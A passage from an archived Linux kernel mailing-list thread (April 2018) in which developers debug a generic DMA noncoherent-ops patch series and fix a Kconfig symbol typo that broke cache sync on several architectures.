List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3842 gmane.linux.kernel.cross-arch:43722 gmane.linux.ports.parisc:28568 gmane.linux.ports.sh.devel:56920 gmane.linux.ports.hexagon:1681 gmane.linux.kernel:2751727 gmane.linux.ports.alpha:4999 gmane.linux.ports.sparc:27805 gmane.linux.ports.arm.kernel:646044
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3842>

On 25.04.2018 09:21, Christoph Hellwig wrote:
> On Sat, Apr 21, 2018 at 07:43:46PM +0200, Helge Deller wrote:
>> This patch breaks a 32bit kernel on a B160L machine (PA7300LC CPU, "pcxl2").
>> After applying this patch series the lasi82956 network driver works unreliable. 
>> NIC gets IP, but ping doesn't work.
>> See drivers/net/ethernet/i825xx/lasi_82596.c, it uses dma*sync() functions.
> 
> Just to confirm:  Without the series it is known to actually work?

Yes.
I reverted this series from my tree, rebuilt, and then the issue was gone.
I won't be able to test again earlier than next week.

Helge

From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 13/22] nds32: use generic dma_noncoherent_ops
Date: Thu, 26 Apr 2018 08:42:39 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20180426064239.GA13895@lst.de>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-14-hch@lst.de> <CAEbi=3fkakVD2vxGu6SgJM77JnNM8Y79xS8_o6m9d_85BJpMFQ@mail.gmail.com> <20180424191640.GA32495@lst.de> <CAEbi=3f7yzE+KAM2GOh6QahC_E6BAUfB3ys3U-WdBSUf3DPZqg@mail.gmail.com> <20180425064055.GA11460@lst.de> <CAEbi=3fcd8E=xi_hbef45LnPsBZhZv37yPO-xfZmU1gMaWnDvg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1524724740 636 195.159.176.226 (26 Apr 2018 06:39:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Apr 2018 06:39:00 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>,
        linux-arch <linux-arch@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Greentime Hu <green.hu@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 26 08:38:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fBaYP-0008Rx-4d
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Apr 2018 08:38:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753822AbeDZGlC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Apr 2018 02:41:02 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:40534 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753307AbeDZGk5 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Apr 2018 02:40:57 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id 9DA2568DA7; Thu, 26 Apr 2018 08:42:39 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <CAEbi=3fcd8E=xi_hbef45LnPsBZhZv37yPO-xfZmU1gMaWnDvg@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2751971 gmane.linux.kernel.cross-arch:43726 gmane.linux.ports.alpha:5000 gmane.linux.kernel.arc:3844 gmane.linux.ports.arm.kernel:646094 gmane.linux.ports.hexagon:1682 gmane.linux.ports.parisc:28569 gmane.linux.ports.sh.devel:56921 gmane.linux.ports.sparc:27806
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2751971>

Can you try this patch ontop of either the new or original one?

---
diff --git a/lib/dma-noncoherent.c b/lib/dma-noncoherent.c
index f4b8532c20ac..a2c192b3508d 100644
--- a/lib/dma-noncoherent.c
+++ b/lib/dma-noncoherent.c
@@ -48,7 +48,7 @@ static int dma_noncoherent_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-#ifdef CONFIG_DMA_NONCOHERENT_SYNC_FOR_CPU
+#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_CPU
 static void dma_noncoherent_sync_single_for_cpu(struct device *dev,
 		dma_addr_t addr, size_t size, enum dma_data_direction dir)
 {
@@ -88,7 +88,7 @@ const struct dma_map_ops dma_noncoherent_ops = {
 	.sync_sg_for_device	= dma_noncoherent_sync_sg_for_device,
 	.map_page		= dma_noncoherent_map_page,
 	.map_sg			= dma_noncoherent_map_sg,
-#ifdef CONFIG_DMA_NONCOHERENT_SYNC_FOR_CPU
+#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_CPU
 	.sync_single_for_cpu	= dma_noncoherent_sync_single_for_cpu,
 	.sync_sg_for_cpu	= dma_noncoherent_sync_sg_for_cpu,
 	.unmap_page		= dma_noncoherent_unmap_page,


From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "hch@lst.de" <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.sparc
Subject: Re: [PATCH 06/22] arc: use generic dma_noncoherent_ops
Date: Thu, 26 Apr 2018 08:45:00 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20180426064500.GB13895@lst.de>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-7-hch@lst.de> <1524655020.5315.9.camel@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1524724885 10137 195.159.176.226 (26 Apr 2018 06:41:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Apr 2018 06:41:25 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: "hch@lst.de" <hch@lst.de>,
        "deanbo422@gmail.com" <deanbo422@gmail.com>,
        "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "nios2-dev@lists.rocketboards.org" <nios2-dev@lists.rocketboards.org>,
        "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        "linux-m68k@lists.linux-m68k.org" <linux-m68k@lists.linux-m68k.org>,
        "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
        "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
        "linux-snps-arc@lists.infradead.org" 
        <linux-snps-arc@lists.infradead.org>,
        "green.hu@gmail.com" <green.hu@gmail.com>,
        "openrisc@lists.librecores.org" <openrisc@lists.librecores.org>,
        "linux-arm-kernel@lists.infradead.org" 
        <linux-arm-kernel@lists.infradead.org>,
To: Alexey Brodkin <Alexey.Brodkin@synopsys.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 26 08:41:19 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fBaag-0002RZ-OX
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Apr 2018 08:41:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753596AbeDZGnW (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Apr 2018 02:43:22 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:40552 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752630AbeDZGnS (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Apr 2018 02:43:18 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id A966C68DA7; Thu, 26 Apr 2018 08:45:00 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1524655020.5315.9.camel@synopsys.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2751972 gmane.linux.ports.sh.devel:56922 gmane.linux.ports.alpha:5001 gmane.linux.ports.hexagon:1683 gmane.linux.kernel.arc:3845 gmane.linux.ports.arm.kernel:646095 gmane.linux.ports.parisc:28570 gmane.linux.kernel.cross-arch:43727 gmane.linux.ports.sparc:27807
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2751972>

On Wed, Apr 25, 2018 at 11:17:01AM +0000, Alexey Brodkin wrote:
> Which is actually strange as I would expect ARC code to be built by bots.

I don't think I got any notification.  Thank for the fixes!

I think I found the bug, based on the fact that so far all tests for
architectures that also need a cache op for device to cpu transitions
failed.  I did a stupid typo when changing kconfig symbols, so please
try the patch below.

>  
>  static int l2_line_sz;
>  static int ioc_exists;
> -int slc_enable = 1, ioc_enable = 1;
> +int slc_enable = 1, ioc_enable = 0;

Hmm.  It seems if ioc_enable is 0 we should simply be using
dma_direct_ops on arc, but that is a different discussion.

---
diff --git a/lib/dma-noncoherent.c b/lib/dma-noncoherent.c
index f4b8532c20ac..a2c192b3508d 100644
--- a/lib/dma-noncoherent.c
+++ b/lib/dma-noncoherent.c
@@ -48,7 +48,7 @@ static int dma_noncoherent_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-#ifdef CONFIG_DMA_NONCOHERENT_SYNC_FOR_CPU
+#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_CPU
 static void dma_noncoherent_sync_single_for_cpu(struct device *dev,
 		dma_addr_t addr, size_t size, enum dma_data_direction dir)
 {
@@ -88,7 +88,7 @@ const struct dma_map_ops dma_noncoherent_ops = {
 	.sync_sg_for_device	= dma_noncoherent_sync_sg_for_device,
 	.map_page		= dma_noncoherent_map_page,
 	.map_sg			= dma_noncoherent_map_sg,
-#ifdef CONFIG_DMA_NONCOHERENT_SYNC_FOR_CPU
+#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_CPU
 	.sync_single_for_cpu	= dma_noncoherent_sync_single_for_cpu,
 	.sync_sg_for_cpu	= dma_noncoherent_sync_sg_for_cpu,
 	.unmap_page		= dma_noncoherent_unmap_page,


From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greentime Hu <green.hu@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 13/22] nds32: use generic dma_noncoherent_ops
Date: Thu, 26 Apr 2018 16:06:34 +0800
Lines: 29
Approved: news@gmane.org
Message-ID: <CAEbi=3e3gM_WpQOtKZXP4Xj2Az4bLf_u6BjDELqXy6-d9HurMQ@mail.gmail.com>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-14-hch@lst.de>
 <CAEbi=3fkakVD2vxGu6SgJM77JnNM8Y79xS8_o6m9d_85BJpMFQ@mail.gmail.com>
 <20180424191640.GA32495@lst.de> <CAEbi=3f7yzE+KAM2GOh6QahC_E6BAUfB3ys3U-WdBSUf3DPZqg@mail.gmail.com>
 <20180425064055.GA11460@lst.de> <CAEbi=3fcd8E=xi_hbef45LnPsBZhZv37yPO-xfZmU1gMaWnDvg@mail.gmail.com>
 <20180426064239.GA13895@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1524729923 23332 195.159.176.226 (26 Apr 2018 08:05:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Apr 2018 08:05:23 +0000 (UTC)
Cc: linux-arch <linux-arch@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 26 10:05:18 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fBbu2-0004I5-40
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Apr 2018 10:05:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753996AbeDZIHZ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Apr 2018 04:07:25 -0400
Original-Received: from mail-ua0-f194.google.com ([209.85.217.194]:42275 "EHLO
        mail-ua0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752972AbeDZIHP (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Apr 2018 04:07:15 -0400
Original-Received: by mail-ua0-f194.google.com with SMTP id f3so11109324uan.9;
        Thu, 26 Apr 2018 01:07:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=1Cs27d8M3KYeTg4O3kW3IAen7kTR90Q57zsMXMOF/r4=;
        b=NTc5ymZmnVjpdaoapZfPbiJ5m0VvdEYQ3oSp6KEVIx8Put4OL6ZdB/r5OW72NhLYeg
         3w1Gh4Njt77R4bJocj1tH8iQyffMjFW/oPAergOULZ3a23C6aNeIS0Rgvh7HSdrKUaho
         nKKGI54WFpZ/Epxnm5iuWk7WvPamZDiLd8zJGE7lQBQMtnjXNgpu7WJLsWFx/mNdtyRl
         oxec77qojzpJkG64uxjdxZetFrjXCc6sHAkmdOfp50ENjNNu65cotcbapoRAyXA3tfeo
         TaOdDqajvFCvp8XqQIEBQjJf/WabSU+j3wl0s3ji71/CoyxY2ctKhQz72d5nYvuE7PKI
         rvog==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=1Cs27d8M3KYeTg4O3kW3IAen7kTR90Q57zsMXMOF/r4=;
        b=iyPmhN9FwwzxXjk7Qu7t2u71hh78gnb2Q3fJTMquGs7bX+ITlkcblPTWWx1hXoAXqu
         qxz9IregWcroE5WpHtWAwsS4rv17r55/fXnS64H1tFDVytS6gsOBH9uNj0wv+ny5FdLm
         crkuLCWOk5qELY2kiBK1XwuvLBpA+zHTsPnda5kUTTqF+PQ+Zc46W/Bqi0yE5Vh0tZCm
         xocMEhRyCIsFHf0sq9daBOEUoYUwCx191PD3rmWMKCQIiJp76MCTgut5oT4mbc0Pch9M
         Mjq0kaNRJ7CySbnlkLa9u72NxVaLl7er/oMaXTxzzTEh/43BKz0GQleBU9DraVTWBjOr
         WfrQ==
X-Gm-Message-State: ALQs6tDB98QdYWEnrqpCYGemczGM19Sv49Ly+tmyDGSas8sVGYDSaQrK
        lLfKAxb9aqK2nShh+VWbVK+S/7evPv+2Bx6ns98=
X-Google-Smtp-Source: AIpwx48NeExR0omRE0oSaLs6aSgt8ueAUNG9R9255zNOFkdZtzbQOp3U4zdpqy0g84hs6FsU/1xkO1BGZbqffinETqQ=
X-Received: by 10.176.16.20 with SMTP id f20mr23542646uab.141.1524730034501;
 Thu, 26 Apr 2018 01:07:14 -0700 (PDT)
Original-Received: by 10.176.92.86 with HTTP; Thu, 26 Apr 2018 01:06:34 -0700 (PDT)
In-Reply-To: <20180426064239.GA13895@lst.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2752057 gmane.linux.kernel.cross-arch:43729 gmane.linux.ports.alpha:5002 gmane.linux.kernel.arc:3846 gmane.linux.ports.arm.kernel:646115 gmane.linux.ports.hexagon:1684 gmane.linux.ports.parisc:28571 gmane.linux.ports.sh.devel:56923 gmane.linux.ports.sparc:27808
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2752057>

2018-04-26 14:42 GMT+08:00 Christoph Hellwig <hch@lst.de>:
> Can you try this patch ontop of either the new or original one?
>
> ---
> diff --git a/lib/dma-noncoherent.c b/lib/dma-noncoherent.c
> index f4b8532c20ac..a2c192b3508d 100644
> --- a/lib/dma-noncoherent.c
> +++ b/lib/dma-noncoherent.c
> @@ -48,7 +48,7 @@ static int dma_noncoherent_map_sg(struct device *dev, struct scatterlist *sgl,
>         return nents;
>  }
>
> -#ifdef CONFIG_DMA_NONCOHERENT_SYNC_FOR_CPU
> +#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_CPU
>  static void dma_noncoherent_sync_single_for_cpu(struct device *dev,
>                 dma_addr_t addr, size_t size, enum dma_data_direction dir)
>  {
> @@ -88,7 +88,7 @@ const struct dma_map_ops dma_noncoherent_ops = {
>         .sync_sg_for_device     = dma_noncoherent_sync_sg_for_device,
>         .map_page               = dma_noncoherent_map_page,
>         .map_sg                 = dma_noncoherent_map_sg,
> -#ifdef CONFIG_DMA_NONCOHERENT_SYNC_FOR_CPU
> +#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_CPU
>         .sync_single_for_cpu    = dma_noncoherent_sync_single_for_cpu,
>         .sync_sg_for_cpu        = dma_noncoherent_sync_sg_for_cpu,
>         .unmap_page             = dma_noncoherent_unmap_page,

It works!!!


From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 13/22] nds32: use generic dma_noncoherent_ops
Date: Thu, 26 Apr 2018 10:24:29 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <20180426082429.GA15580@lst.de>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-14-hch@lst.de> <CAEbi=3fkakVD2vxGu6SgJM77JnNM8Y79xS8_o6m9d_85BJpMFQ@mail.gmail.com> <20180424191640.GA32495@lst.de> <CAEbi=3f7yzE+KAM2GOh6QahC_E6BAUfB3ys3U-WdBSUf3DPZqg@mail.gmail.com> <20180425064055.GA11460@lst.de> <CAEbi=3fcd8E=xi_hbef45LnPsBZhZv37yPO-xfZmU1gMaWnDvg@mail.gmail.com> <20180426064239.GA13895@lst.de> <CAEbi=3e3gM_WpQOtKZXP4Xj2Az4bLf_u6BjDELqXy6-d9HurMQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1524730848 14991 195.159.176.226 (26 Apr 2018 08:20:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Apr 2018 08:20:48 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>,
        linux-arch <linux-arch@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Greentime Hu <green.hu@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 26 10:20:43 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fBc8w-0002Ba-8b
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Apr 2018 10:20:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754276AbeDZIWu (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Apr 2018 04:22:50 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:40952 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753041AbeDZIWr (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Apr 2018 04:22:47 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id E4AE47090F; Thu, 26 Apr 2018 10:24:29 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <CAEbi=3e3gM_WpQOtKZXP4Xj2Az4bLf_u6BjDELqXy6-d9HurMQ@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2752077 gmane.linux.kernel.cross-arch:43739 gmane.linux.ports.alpha:5003 gmane.linux.kernel.arc:3847 gmane.linux.ports.arm.kernel:646116 gmane.linux.ports.hexagon:1685 gmane.linux.ports.parisc:28572 gmane.linux.ports.sh.devel:56924 gmane.linux.ports.sparc:27809
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2752077>

On Thu, Apr 26, 2018 at 04:06:34PM +0800, Greentime Hu wrote:
> It works!!!

Thanks!

Can you retest the updated tree here with all the fixes and give me
your Tested-by: for the generic and nds32 patches?

git://git.infradead.org/users/hch/misc.git generic-dma-noncoherent


From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "hch@lst.de" <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.sparc
Subject: Re: [PATCH 06/22] arc: use generic dma_noncoherent_ops
Date: Thu, 26 Apr 2018 10:25:12 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20180426082512.GB15580@lst.de>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-7-hch@lst.de> <1524655020.5315.9.camel@synopsys.com> <20180426064500.GB13895@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1524730893 18051 195.159.176.226 (26 Apr 2018 08:21:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Apr 2018 08:21:33 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: "hch@lst.de" <hch@lst.de>,
        "deanbo422@gmail.com" <deanbo422@gmail.com>,
        "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "nios2-dev@lists.rocketboards.org" <nios2-dev@lists.rocketboards.org>,
        "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        "linux-m68k@lists.linux-m68k.org" <linux-m68k@lists.linux-m68k.org>,
        "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
        "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
        "linux-snps-arc@lists.infradead.org" 
        <linux-snps-arc@lists.infradead.org>,
        "green.hu@gmail.com" <green.hu@gmail.com>,
        "openrisc@lists.librecores.org" <openrisc@lists.librecores.org>,
        "linux-arm-kernel@lists.infradead.org" 
        <linux-arm-kernel@lists.infradead.org>,
To: Alexey Brodkin <Alexey.Brodkin@synopsys.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 26 10:21:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fBc9e-0004Fd-6e
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Apr 2018 10:21:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754657AbeDZIXf (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Apr 2018 04:23:35 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:40967 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754584AbeDZIX3 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Apr 2018 04:23:29 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id 6F5DC7090F; Thu, 26 Apr 2018 10:25:12 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20180426064500.GB13895@lst.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2752079 gmane.linux.ports.sh.devel:56925 gmane.linux.ports.alpha:5004 gmane.linux.ports.hexagon:1686 gmane.linux.kernel.arc:3848 gmane.linux.ports.arm.kernel:646117 gmane.linux.ports.parisc:28573 gmane.linux.kernel.cross-arch:43740 gmane.linux.ports.sparc:27810
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2752079>

On Thu, Apr 26, 2018 at 08:45:00AM +0200, hch@lst.de wrote:
